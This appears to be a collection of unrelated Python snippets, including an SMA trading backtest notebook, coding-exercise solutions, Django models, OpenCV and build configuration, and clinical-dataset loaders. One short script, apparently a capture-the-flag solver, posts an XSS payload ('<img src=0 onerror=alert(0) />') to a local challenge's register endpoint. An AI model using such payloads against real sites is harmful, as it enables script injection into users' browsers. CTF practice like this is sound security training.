values["LumiCal_min_z"] = 2500.0
values["LumiCal_max_z"] = 2630.65
values["LumiCal_thickness"] = 130.65
values["LHCal_inner_radius"] = 100.0
values["LHCal_outer_radius"] = 325.0
values["LHCal_min_z"] = 2680.0
values["LHCal_max_z"] = 3200.0
values["LHCal_thickness"] = 520.0


def solution(name):
    if set(name) == {'A'}:
        return 0
    tmp = [min(ord(i) - ord('A'), ord('Z')+1 - ord(i)) for i in name]
    answer = sum(tmp)
    idx = 0
    while True:
        tmp[idx] = 0
        if not sum(tmp):
            return answer
        left, right = -1, 1
        while tmp[idx+right] == 0:
            right += 1
        while tmp[idx+left] == 0:
            left -= 1
        answer += -left if right > -left else right
        idx += left if right > -left else right


import numpy
import cv2

img = cv2.imread('sydney-opera-house.jpg', cv2.IMREAD_GRAYSCALE)
cv2.namedWindow('image', cv2.WINDOW_NORMAL)
cv2.imshow('image', img)
pressedKey = cv2.waitKey(0)

if pressedKey == 27:
    cv2.destroyAllWindows()
elif pressedKey == ord('s'):
    cv2.imwrite('sydney-opera-house-bw.png', img)
    cv2.destroyAllWindows()


#!/usr/bin/env python3

import requests

HOST, PORT = "0.0.0.0", 1337
CHALLENGE_URL = f"http://{HOST}:{PORT}"

def main():
    xss = "<img src=0 onerror=alert(0) />"

    json_data = {
        "email": xss
    }

    resp = requests.post(f"{CHALLENGE_URL}/api/register", json=json_data)

    print(resp.text)

if __name__ == "__main__":
    main()


# -*- coding: utf-8 -*-
"""
Задание 4.7

Преобразовать MAC-адрес в строке mac в двоичную строку такого вида:
'101010101010101010111011101110111100110011001100'

Ограничение: Все задания надо выполнять используя только пройденные темы.

"""

mac = "AAAA:BBBB:CCCC"

a = mac.split(':')
c = a[0]
b = int(c, 16)
d = bin(int(b))[2:]

e = a[1]
f = int(e, 16)
g = bin(int(f))[2:]

y = a[2]
h = int(y, 16)
j = bin(int(h))[2:]

print(d,g,j)


import os

msbuild_path = r'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe'

test_command = r'"C:\Program Files (x86)\NUnit 2.6.3\bin\nunit-console.exe"'

project_file_namespace = 'http://schemas.microsoft.com/developer/msbuild/2003'

build_configuration = 'Release'

nuget_path = os.path.expanduser(r'~\Programs\NuGet\nuget.exe')

nuget_source = None

nuget_api_key = None

target_framework_versions = [
    'v3.5',
    'v4.0',
    'v4.5',
    'v4.5.1'
]

framework_version_nuget_dir_map = {
    'v3.5': 'net35',
    'v4.0': 'net40',
    'v4.5': 'net45',
    'v4.5.1': 'net451'
}


#!/usr/bin/env python
# coding: utf-8

# # Introduction
#

#

#
#
# **What?** Vectorised Backtest of SMA - Simple Moving Average
#
#
#

# # Vectorised vs. event-driven backtesting
#

#

#
#
# - A **vectorised** backtest is the most basic way to evaluate a strategy. It simply multiplies a signal vector that represents the target position size with a vector of returns for the investment horizon to compute the period performance (some used the term equity curve). Vectorised backtesters are for quick research ideas. vectorized backtesting with NumPy and pandas is generally convenient and efficient to implement due to the concise code, and it is fast to execute due to these packages being optimized for such operations.
# - An **event-driven** backtester is a more well thought out simulation. By making use of an event driven backtester we can stop look ahead bias to a large extent by only feeding in the data as it becomes available. This also very closely matches how your trading will take place in real life via an execution system. We also have the advantage of building in transaction costs, liquidity constraints, and market impact. This is not something you can do with the vectorized method. (You could add transaction costs after the fact).
# - There seems to be a bit of a confusion of what what vectorised really means: if behind the scenes, the said vectorised function is simply passing the elements through a loop, just like an event-driven backtester in that sense. Then, there's no correctness reason for preferring one approach over another.
#
#
#

# # Imports
#

# In[26]:

import yfinance as yf
from itertools import product
import datetime
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
plt.style.use("seaborn")
from tqdm import tqdm

# In[2]:

# Getting rid of the warning messages
import warnings
warnings.filterwarnings("ignore")

# Pandas future warning
import warnings
warnings.simplefilter(action='ignore', category=FutureWarning)
import pandas

# # Get the data
#

# In[3]:

# pull historical data
def get_data(pair):

    NUM_DAYS = 10000    # The number of days of historical data to retrieve
    INTERVAL = '1d'
    symbol = str(pair)   # Symbol of the desired stock

    # define start & dates
    start = (datetime.date.today() - datetime.timedelta(NUM_DAYS))
    end = datetime.datetime.today()

    # pull data
    df = yf.download(symbol, start=start, end=end, interval=INTERVAL)
    return df

# In[4]:

pair = "AUDUSD=X"
data = get_data(pair)

# # SMA - Simple Moving Average
#

# In[5]:

# No of day you want to consider
sma_short = 55
sma_long = 200

# Calculate SMA values
data["SMA_S"] = data.Close.rolling(sma_short).mean()
data["SMA_L"] = data.Close.rolling(sma_long).mean()

# Drop missing values
data = data.dropna()
data

# In[6]:

data.plot(figsize=(18, 7), y=["Close", "SMA_S", "SMA_L"],
          title=f"{pair} + SMA{sma_short} & SMA{sma_long}")
# plt.grid()
plt.show()

# # SMA strategy logic
#

#

#
#
# - Where short SMA is greater than the long SMA, the position is +1 (buy)
# - Where short SMA is less than the long SMA, the position is -1 (sell).
#
#
#

# In[7]:

# Define Positions (Long or Short). Where 1 = Buy, -1 = Sell
data["position"] = np.where(data["SMA_S"] > data["SMA_L"], 1, -1)
data

# # Define Buy & Hold Returns
#

#

#
#
# - The daily log returns are calculated by taking the natural logarithm of the division of the present close price by the previous price.
# - Log returns are an important financial metrics for determining the returns of an investment.
# - Strategy returns is the return from the position taken based on the previous close price. i.e the return for the present close price multiplied by the signal position — Buy(+1) or Sell(-1). The logic behind this is simple; if by the end of day 1, the signal says “Buy (+1)” and you take a long position, by day 2, the return of the strategy from the position taken from the signal on day 1 would be the log returns between the price of day 1 and day 2 multiplied by the position itself. E.g. If the position at day 1 is -1 and the log returns at day 2 is -0.00302, the strategy returns = -1 * -0.00302 i.e a profit return of 0.00302
#
#
#

# In[8]:

data.Close/data.Close.shift(1)

# In[9]:

data.Close.div(data.Close.shift(1))

# In[10]:

data["returns"] = np.log(data.Close.div(data.Close.shift(1)))

# daily return of strategy
data["strategy"] = data.position.shift(1) * data["returns"]
data.dropna(inplace=True)

# In[11]:

data.head()

# # Calculate Absolute Performance
#

#

#
#
# - **Absolute performance** — the sum of the log returns of buy & hold and strategy. This gives an overview of the absolute returns after the test period.
# - **Annual returns** — The mean of the log returns of buy & hold and strategy multiplied by the total number of trading days in a year (252).
# - **Annual risk** — The standard deviation of the log returns of buy & hold and strategy multiplied by the square root of total number of trading days in a year (252).
# - **Cumulative Returns** — is calculated by the cumulative sum of exponential of the strategy log returns and the buy & hold returns
#
#
#

# In[12]:

# calculate absolute performance
data[["returns", "strategy"]].sum()

# In[13]:

# CALCULATE ACTUAL VALUE OF ABSOLUTE PERFORMANCE
data[["returns", "strategy"]].sum().apply(np.exp)

# In[14]:

# annual return
data[["returns", "strategy"]].mean() * 252

# In[15]:

# annual risk
data[["returns", "strategy"]].std() * np.sqrt(252)

# In[16]:

data["cum_returns"] = data["returns"].cumsum().apply(np.exp)
data["cum_strategy"] = data["strategy"].cumsum().apply(np.exp)
data

# In[17]:

# Visualize Cummulative returns
data[["cum_returns", "cum_strategy"]].plot(
    figsize=(20, 7), title=f"{pair} Returns + SMA{sma_short} & SMA{sma_long}")
plt.legend(fontsize=12)
plt.show()

#

#
#
# - This shows the strategy using a SMA(sma_short = 55, sma_long = 200) performed worse than a buy & hold investment and would not be profitable to trade.
# - The strategy performance can be calculated by subtracting the last cumulative returns of buy & hold from the last cumulative return of the strategy. T0his shows a -11.0% performance compared to buy & hold
#
#
#

# In[18]:

strat_perf = data.cum_strategy.iloc[-1] - data.cum_returns.iloc[-1]
round(strat_perf, 5)*100

# # Optimise SMA combination
#

# In[20]:

# Create Backtest function
def sma_backtest(data, sma_short, sma_long):
    df = data.copy()
    df["returns"] = np.log(df.Close.div(df.Close.shift(1)))
    df["SMA_S"] = data.Close.rolling(sma_short).mean()
    df["SMA_L"] = data.Close.rolling(sma_long).mean()
    df.dropna(inplace=True)

    df["position"] = np.where(df["SMA_S"] > df["SMA_L"], 1, -1)
    df["strategy"] = df.position.shift(1) * df["returns"]
    df.dropna(inplace=True)

    # returns the absolute performance of strateg
    return round(np.exp(df["strategy"].sum()), 5)

# In[21]:

# range of sma
range_sma_short = range(3, 50, 1)
range_sma_long = range(55, 250, 1)

# In[22]:

# combination of SMAs
smas = list(product(range_sma_short, range_sma_long))
smas

# In[23]:

len(smas)

# In[27]:

# iterate through sma combination and test strategy
abs_perform = []
for pro in tqdm(smas):
    abs_perform.append(sma_backtest(data, pro[0], pro[1]))

# In[28]:

# Get max value
np.max(abs_perform)

# In[32]:

# results to dataframe
results = pd.DataFrame(smas, columns=["SMA_short", "SMA_long"])
results["abs_performance"] = abs_perform
results.sort_values("abs_performance", ascending=False)

# In[34]:

# Get max value combination
best_comb = smas[np.argmax(abs_perform)]
best_comb

# In[35]:

# top 10 best performing combination
best = results.nlargest(10, "abs_performance")
best.head()

# In[36]:

# top 10 least performing combination
least = results.nsmallest(10, "abs_performance")
least.head()

# # Check best performing combination
#

# In[37]:

# define SMA values
sma_short = best_comb[0]
sma_long = best_comb[1]

# calculate SMA values
new_data = data.Close.to_frame()
new_data["SMA_s"] = data.Close.rolling(sma_short).mean()
new_data["SMA_l"] = data.Close.rolling(sma_long).mean()

# drop missing values
new_data = new_data.dropna()
new_data

# In[38]:

new_data["2021"].plot(
    figsize=(18, 7), title=f"{pair} + SMA{sma_short} & SMA{sma_long}")
plt.show()

# In[39]:

# Define Positions (Long or Short). Where 1 = Buy, -1 = Sell
new_data["position"] = np.where(new_data["SMA_s"] > new_data["SMA_l"], 1, -1)
new_data

# In[40]:

new_data["returns"] = np.log(new_data.Close.div(new_data.Close.shift(1)))

# daily return of strategy
new_data["strategy"] = new_data.position.shift(1) * new_data["returns"]
new_data.dropna(inplace=True)
new_data

# In[41]:

# calculate absolute performance
new_data[["returns", "strategy"]].sum()

# In[42]:

# CALCULATE ACTUAL VALUE OF ABSOLUTE PERFORMANCE
new_data[["returns", "strategy"]].sum().apply(np.exp)

# In[43]:

# annual return
new_data[["returns", "strategy"]].mean() * 252

# In[44]:

# annual risk
new_data[["returns", "strategy"]].std() * np.sqrt(252)

# In[45]:

new_data["cum_returns"] = new_data["returns"].cumsum().apply(np.exp)
new_data["cum_strategy"] = new_data["strategy"].cumsum().apply(np.exp)
new_data

# In[46]:

# Visualize Cummulative returns
new_data[["cum_returns", "cum_strategy"]].plot(
    figsize=(20, 7), title=f"{pair} Returns + SMA{sma_short} & SMA{sma_long}")
plt.legend(fontsize=12)
plt.show()

# # References
#

#

#
#
# - [YAHOO AUD/USD](https://finance.yahoo.com/quote/AUDUSD=X/?guccounter=1&guce_referrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvLnVrLw&guce_referrer_sig=AQAAALNbKvdnnyycC3agGxv2fNzx__G73WarjVfBU63B7R9XGoqbvxhA3w9GcR3L9FLa8dLwc66QMCF26cabsJGtchOasiKqmt8cQaoNpVmRM6nZyYSu0yh96F93qHmzud_O1HgswybhoZM4CTiX9kybecUul4nmAlvBODyHEXBmyJ5t)
# - [Blog article](https://wire.insiderfinance.io/vectorized-backtest-of-sma-cross-strategy-991cb13ffcd0)
# - [Why do we need event-driven backtesters?](https://quant.stackexchange.com/questions/46791/why-do-we-need-event-driven-backtesters)
# - [Why log return?](https://quantivity.wordpress.com/2011/02/21/why-log-returns/)
#
#
#

# In[ ]:

tutorials/testing/From_notebook_to_python/Vectorised Backtest of SMA - Simple Moving Average.py


from django.db import models
from django.contrib.auth.models import User

class Meow(models.Model):
    text = models.CharField(max_length=160)
    user = models.ForeignKey(User)
    ts = models.DateTimeField(auto_now_add=True)

class UserProfile(models.Model):
    user = models.OneToOneField(User)
    followers = models.ManyToManyField('self', symmetrical=False, blank=True)


# Напишите однострочный генератор словаря, который принимает
# на вход три списка одинаковой длины: имена str, ставка int,
# премия str с указанием процентов вида «10.25%». В результате
# получаем словарь с именем в качестве ключа и суммой
# премии в качестве значения. Сумма рассчитывается
# как ставка умноженная на процент премии

def money_us(names: list[str], salaries: list[int], procent) -> dict | None:
    if len(names) != len(salaries) != len(procent):
        return None
    prem = list(map(lambda x: float(x.replace('%', '')), procent))
    res = {}
    for i in range(len(names)):
        res[names[i]] = salaries[i] * prem[i]/100
    return res

names = ['Alex', 'Max', 'Bob']
salaries = [1000,  1200, 1500]
procent = ['15%', '20%', '50%']

money = {name: salary*float(prem.replace('%', ''))/100 for name, salary, prem in zip(names, salaries,procent)}
print(money)


class Solution(object):
    def twoSum(self, nums, target):
        """
        :type nums: List[int]
        :type target: int
        :rtype: List[int]
        """
        dic = {}
        i = 0
        for x in nums:
            lookfor = target - x
            #if dic.has_key(lookfor):
            if lookfor in dic:
                return [dic.get(lookfor),i]
            else:
                dic.update({nums[i]:i})
            i+=1

#test case
print(Solution().twoSum([1,2,3,4],7))

#resolve it again on 2016/6/3
class Solution(object):
    def twoSum(self, nums, target):
        """
        :type nums: List[int]
        :type target: int
        :rtype: List[int]
        """
        cache={}
        for i in range(len(nums)):
            first = target-nums[i]
            if cache.get(first) != None:
                return [cache.get(first),i]
            else:
                cache[nums[i]] = i

#rewrite in clean python style
class Solution2(object):
    def twoSum(self, nums, target):
        """
        :type nums: List[int]
        :type target: int
        :rtype: List[int]
        """
        cache={}
        for i,j in enumerate(nums):
            first = target-j
            if first in cache:
                return [cache[first],i]
            else:
                cache[j] = i


# Define a string contendo o nome completo
nome = "Bruno William Calixto"

# Inicializa uma variável de controle de loop i com valor 0
i = 0

# Inicializa uma string vazia para armazenar a saída
saida = ""

# Enquanto i for menor que o comprimento do nome
while i < len(nome):

    # Verifica se a letra atual é um espaço em branco
    if nome[i] == " ":

        # Se for um espaço em branco, adiciona um espaço à saída
        saida += " "

    else:
        # Caso contrário, adiciona o índice correspondente entre colchetes à saída
        saida += f"[{nome[i]}]"

    # Incrementa o valor da variável de controle de loop i em 1
    i += 1

# Imprime a string de saída sem adicionar uma quebra de linha no final
print(saida, end="")


from pkg_resources import resource_exists, resource_listdir, resource_string, resource_stream,resource_filename
import xml.etree.ElementTree as ET
import numpy
from sklearn.datasets import fetch_20newsgroups

def load_n2c2_2006_train_dev_split():
    train = list(load_n2c2_2006(partition='train'))
    numpy.random.seed(0)
    numpy.random.shuffle(train)

    labels = {}
    for id, doc, label in train:
        if label not in labels:
            labels[label] = []
        labels[label].append(tuple((id,doc,label)))

    dev = []
    train = []
    for label in labels.keys():
        dev += labels[label][:int(len(labels[label])*.2)]
        train += labels[label][int(len(labels[label])*.2):]

    return train,dev

def load_n2c2_2006(partition='train'):
    """
    Yields a generator of id, doc, label tuples.
    :param partition:
    :return:
    """
    assert partition in ['train', 'test']

    if partition == 'train':
        with open("data/smokers_surrogate_%s_all_version2.xml" % partition) as raw:
            file = raw.read().strip()

    elif partition == 'test':
        with open("data/smokers_surrogate_%s_all_groundtruth_version2.xml" % partition) as raw:
            file = raw.read().strip()

    # file = resource_string('clinical_data', 'phenotyping/n2c2_2006/smokers_surrogate_%s_all_version2.xml' % partition).decode('utf-8').strip()
    root = ET.fromstring(file)
    ids = []
    notes = []
    labels = []
    documents = root.findall("./RECORD")
    for document in documents:
        ids.append(document.attrib['ID'])
        notes.append(document.findall('./TEXT')[0].text)
        labels.append(document.findall('./SMOKING')[0].attrib['STATUS'])

    for id, note, label in zip(ids,notes,labels):
        yield (id,note,label)

def load_n2c2_2008_train_dev_split():
    train = list(load_n2c2_2008(partition='train'))

    return train[:int(len(train)*.8)], train[int(len(train)*.8):]

def load_n2c2_2008(partition='train'):
    assert partition in ['train', 'test']
    documents = {} #id : text
    all_diseases = set()
    notes = tuple()
    if partition == 'train':
        with open('data/obesity_patient_records_training.xml') as t1, \
                open('data/obesity_patient_records_training2.xml') as t2:
            notes1 = t1.read().strip()
            notes2 = t2.read().strip()
        notes = (notes1,notes2)
    elif partition == 'test':
        with open('data/obesity_patient_records_test.xml') as t1:
            notes1 = t1.read().strip()
        notes = (notes1,)

    for file in notes:
        root = ET.fromstring(file)
        root = root.findall("./docs")[0]
        for document in root.findall("./doc"):
            assert document.attrib['id'] not in documents
            documents[document.attrib['id']] = {}
            documents[document.attrib['id']]['text'] = document.findall("./text")[0].text

    annotation_files = tuple()
    if partition == 'train':
        with open('data/obesity_standoff_annotations_training.xml') as t1, \
                open('data/obesity_standoff_annotations_training_addendum.xml') as t2, \
                open('data/obesity_standoff_annotations_training_addendum2.xml') as t3, \
                open('data/obesity_standoff_annotations_training_addendum3.xml') as t4:
            train1 = t1.read().strip()
            train2 = t2.read().strip()
            train3 = t3.read().strip()
            train4 = t4.read().strip()
        # train1 = resource_string('clinical_data', 'phenotyping/n2c2_2008/train/obesity_standoff_annotations_training.xml').decode('utf-8').strip()
        # train2 = resource_string('clinical_data', 'phenotyping/n2c2_2008/train/obesity_standoff_annotations_training_addendum.xml').decode('utf-8').strip()
        # train3 = resource_string('clinical_data', 'phenotyping/n2c2_2008/train/obesity_standoff_annotations_training_addendum2.xml').decode('utf-8').strip()
        # train4 = resource_string('clinical_data', 'phenotyping/n2c2_2008/train/obesity_standoff_annotations_training_addendum3.xml').decode('utf-8').strip()
        annotation_files = (train1,train2,train3,train4)
    elif partition == 'test':
        with open('data/obesity_standoff_annotations_test.xml') as t1:
            test1 = t1.read().strip()
        # test1 = resource_string('clinical_data','phenotyping/n2c2_2008/test/obesity_standoff_annotations_test.xml').decode('utf-8').strip()
        annotation_files = (test1,)

    for file in annotation_files:
        root = ET.fromstring(file)
        for diseases_annotation in root.findall("./diseases"):

            annotation_source = diseases_annotation.attrib['source']
            assert isinstance(annotation_source, str)
            for disease in diseases_annotation.findall("./disease"):
                disease_name = disease.attrib['name']
                all_diseases.add(disease_name)
                for annotation in disease.findall("./doc"):
                    doc_id = annotation.attrib['id']
                    if not annotation_source in documents[doc_id]:
                        documents[doc_id][annotation_source] = {}
                    assert doc_id in documents
                    judgment = annotation.attrib['judgment']
                    documents[doc_id][annotation_source][disease_name] = judgment

    all_diseases = list(all_diseases)
    #print(all_diseases)

    for id in documents: #set unlabeled instances to None
        for annotation_type in ('textual', 'intuitive'):
            for disease in all_diseases:
                if not annotation_type in documents[id]:
                    documents[id][annotation_type] = {}
                if not disease in documents[id][annotation_type]:
                    #print(id, annotation_type, disease)
                    documents[id][annotation_type][disease] = None

    for id in documents:
        yield id, documents[id]['text'], documents[id]['textual'], documents[id]['intuitive']
    from pprint import pprint
    #pprint(documents[list(documents.keys())[1]])

def load_newstest( random_state=42 , categories = ['alt.atheism', 'talk.religion.misc', 'comp.graphics', 'sci.space']):

    remove=()

    data_train = fetch_20newsgroups(subset='train', categories=categories,
                                    shuffle=True, random_state=42,
                                    remove=remove)

    data_test = fetch_20newsgroups(subset='test', categories=categories,
                                   shuffle=True, random_state=42,
                                   remove=remove)

    target_names = data_train.target_names
    print(  'labels for newstest dataset:', target_names )

    return data_train, data_test, target_names

def generator_newstest( data, target_names   ):
    """
    Yields a generator of id, doc, label tuples.
    :param dict of newstest data , target_names/labels:
    :return:
    """
    ids=[]
    documents=[]
    labels=[]
    for index, (text, nr_label) in enumerate(zip( data.data, data.target )):
        ids.append( index )
        documents.append( text )
        labels.append( target_names[ nr_label  ]   )

    for id, text, label in zip(ids,documents,labels):
        yield (id,text,label)